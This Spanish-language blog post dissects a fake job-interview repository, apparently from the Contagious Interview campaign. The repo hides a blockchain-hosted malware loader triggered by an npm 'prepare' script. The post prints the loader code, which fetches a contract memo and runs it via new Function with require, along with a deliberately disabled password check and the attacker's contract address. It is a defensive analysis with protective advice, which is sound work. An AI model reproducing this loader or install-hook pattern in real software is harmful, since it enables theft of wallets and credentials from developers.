Un reclutador me contactó sobre un puesto de desarrollador Web3 en Limit Break. Buen salario, proyecto interesante, el paquete completo
Me enviaron un repo de GitHub para revisar como prueba técnica. Una plataforma de póker construida con React, Express, Socket.io y ethers.js
Casi lo ejecuté
En vez de eso decidí auditar el código primero. Lo que encontré fue un sistema sofisticado de distribución de malware que oculta su carga útil en la Binance Smart Chain y la ejecuta en el momento en que escribes npm install
Este es el desglose completo de cómo funciona
La Preparación
El repo está en github.com/LimitBreakOrgs/bet_ver_1. A primera vista parece completamente legítimo. Estructura de carpetas limpia, README apropiado, dependencias reales, cientos de líneas de lógica de juego
bet_ver_1/├── server/ # Express backend│ ├── controllers/ # Auth, chips, users, collection│ ├── middleware/ # JWT, rate limiting, sanitization│ ├── pokergame/ # Table, Player, Deck classes│ └── socket/ # Socket.io game events├── src/ # React frontend│ ├── components/ # Poker table UI, cards, betting│ ├── context/ # State management│ └── utils/ # MetaMask wallet integration└── package.json
Incluso tiene middleware de seguridad configurado — mongo sanitization, protección XSS, rate limiting, auth JWT. Alguien puso esfuerzo real en hacer que esto pareciera una codebase de producción
Las Primeras Señales de Alerta
Cuando empecé a investigar noté cosas que no cuadraban
La organización de GitHub es falsa. El verdadero Limit Break está en github.com/limitbreakinc con 18 repos, smart contracts en Solidity y años de historia. "LimitBreakOrgs" tiene exactamente un repo, cero miembros públicos, creado hace dos semanas
Eventos de ajedrez en un juego de póker. El archivo de paquetes socket define eventos como CS_SelectPiece, CS_PerformMove, CS_PawnTransform. Estos son eventos de ajedrez. En una aplicación de póker. El código fue claramente copiado y pegado de múltiples proyectos no relacionados
La autenticación está rota a propósito. En el controlador de auth la verificación de contraseña está hardcodeada:
// server/controllers/auth.jsconst isMatch = true; // should be: await bcrypt.compare(password, user.password)
Cualquier contraseña funciona para cualquier cuenta. Esto no es un bug — no escribes const isMatch = true por accidente y te saltas el import de bcrypt
El archivo .env está commiteado. El .gitignore excluye .env.local pero no .env en sí. El archivo está ahí mismo en el repo con claves API y secrets. Quieren que pienses "oh genial está listo para ejecutar, solo necesito instalar"
La Trampa: package.json
Aquí es donde se pone interesante. Mira la sección de scripts:
{"scripts": {"start": "node server/server.js | react-scripts start","prepare": "node server/server.js"}}
El script de lifecycle prepare se ejecuta automáticamente durante npm install. No npm start. No npm run build. Solo npm install
En el momento en que instalas dependencias, server/server.js se ejecuta
La Carga Útil: Malware Alojado en la Blockchain
server.js se ve normal. App Express, middleware, rutas, Socket.io. Pero al final del arranque llama a una función:
// server/server.jsconst { configureCollection } = require("./controllers/collection");// ... configuración express normal ...startServer(); // dentro del callback listen:configureCollection(); // <-- este es el disparador
Y aquí está configureCollection:
// server/controllers/collection.jsconst { ethers } = require("ethers");const NFT_CONTRACT_ADDRESS = process.env.NFT_CONTRACT_ADDRESS;const CONTRACT_ABI = ["function getMemo(uint256) view returns (string)"];const TX_ID = 1;const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_URL);async function configureCollection() {const contract = new ethers.Contract(NFT_CONTRACT_ADDRESS, CONTRACT_ABI, provider);const memo = await contract.getMemo(TX_ID);ContentAsWeb(memo);}
Se conecta a un smart contract en Binance Smart Chain en la dirección 0xE251b37Bac8D85984d96da55dc977A609716EBDc. Lee un campo memo de la transacción ID 1. Ese memo contiene un string
Un string de código JavaScript
Luego lo ejecuta:
function ContentAsWeb(payload) {if (!payload || typeof payload !== "string") return;try {new Function(payload); // valida que es JS parseable} catch (err) { return; }try {const ensureWeb = new Function("require", payload);ensureWeb(require); // ejecuta con acceso completo a Node.js} catch (err) {console.error("ensureWeb error", err.message);}}
new Function("require", payload) crea una función a partir del string obtenido de la blockchain. Luego ensureWeb(require) lo ejecuta — pasándole el require de Node.js para que la carga útil pueda importar cualquier módulo que quiera
Por Qué Esto Es Brillante (y Aterrador)
Este diseño es inteligente por varias razones:
El malware no está en el repo. Los escáneres de seguridad de GitHub, npm audit y cualquier herramienta de análisis estático no encontrarán nada. La carga útil real vive on-chain
Es mutable. El atacante puede actualizar el campo memo del smart contract en cualquier momento. Hoy podría robar wallets. Mañana podría instalar un keylogger. El repo nunca cambia
Usa new Function() en lugar de eval(). La mayoría de los linters y herramientas de seguridad detectan eval(). Menos detectan new Function() aunque es igualmente peligroso
Los nombres de funciones están camuflados. configureCollection, ContentAsWeb, ensureWeb — todos suenan como funciones de utilidad legítimas. Tendrías que leer cada línea cuidadosamente para notar lo que realmente hacen
Pasa require explícitamente. new Function() no tiene acceso al scope del módulo por defecto. Al pasar require como parámetro, le dan a la carga útil acceso completo a Node.js — sistema de archivos, redes, procesos hijo, todo
Qué Puede Hacer la Carga Útil
Con require disponible, el JavaScript on-chain puede:
require('fs')— Leer tus claves SSH, archivos de wallet, archivos.env, perfiles de navegadorrequire('child_process')— Ejecutar cualquier comando de shell en tu máquinarequire('https')— Enviar todo al servidor del atacanterequire('os')— Hacer fingerprint de tu máquina, encontrar tu directorio homerequire('path')— Navegar a ubicaciones conocidas de wallets
La lista típica de objetivos para estos ataques: vaults de MetaMask, datos de Phantom wallet, claves privadas SSH, credenciales de AWS, cookies del navegador, bases de datos de gestores de contraseñas
El Panorama General
Esto no es un caso aislado. Esta es la campaña Contagious Interview, ampliamente atribuida al Lazarus Group de Corea del Norte. Han estado ejecutando variaciones de esto desde 2024 y han robado millones
El manual de jugadas es siempre el mismo:
- Crear un perfil de empresa falso o suplantar uno real
- Contactar desarrolladores en LinkedIn/Telegram con una oferta de trabajo
- Llevar a cabo un proceso de entrevista convincente
- Enviar un repo de GitHub como "prueba técnica"
- El repo ejecuta malware al instalar o iniciar
- Vaciar wallets, robar credenciales, instalar backdoors persistentes
Se dirigen específicamente a desarrolladores crypto porque los desarrolladores crypto tienden a tener wallets crypto en sus máquinas de desarrollo
Cómo Protegerte
Antes de ejecutar cualquier prueba técnica de entrevista:
- Verifica la empresa. Revisa la organización real de GitHub, no solo el nombre. Cruza referencias con LinkedIn, el sitio web de la empresa y Crunchbase
- Lee
package.jsonprimero. Mira los scriptsprepare,preinstall,postinstalleinstall. Si alguno de ellos ejecuta código de servidor, es una señal de alerta - Busca
new Function,eval,child_processyexec. Estos son patrones comunes de ejecución de carga útil - Verifica llamadas a blockchain en proyectos no-blockchain. Una app de póker no necesita
ethers.jsconectándose a BSC al iniciar - Usa un sandbox. Contenedor Docker, VM, o como mínimo una cuenta de usuario separada sin acceso a tus wallets o credenciales
- Revisa el .gitignore. Si
.envestá commiteado con claves que parecen reales, quieren que lo ejecutes tal cual sin pensar
Higiene general:
- Nunca mantengas hot wallets en tu máquina de desarrollo
- Usa hardware wallets para cualquier cantidad significativa
- Mantén las claves SSH protegidas con frase de contraseña
- No almacenes claves API en variables de entorno en tu máquina principal
El Contrato
Para los investigadores de seguridad que lean esto, el contrato malicioso está en:
- Dirección:
0xE251b37Bac8D85984d96da55dc977A609716EBDc - Red: Binance Smart Chain (RPC:
bsc-dataseed1.binance.org) - Método:
getMemo(uint256)con TX_ID1 - Repo:
github.com/LimitBreakOrgs/bet_ver_1
Si estás analizando esto, hazlo en un entorno aislado
Reflexión Final
Tuve suerte porque soy paranoico con ejecutar código ajeno. No todos lo son. Si eres un desarrollador que recibe ofertas de trabajo en crypto, la revisión de código empieza con la prueba técnica en sí — no con el código dentro de ella
Cuídense
Stay Updated
Get notified about new posts on automation, productivity tips, indie hacking, and web3.
No spam, ever. Unsubscribe anytime.


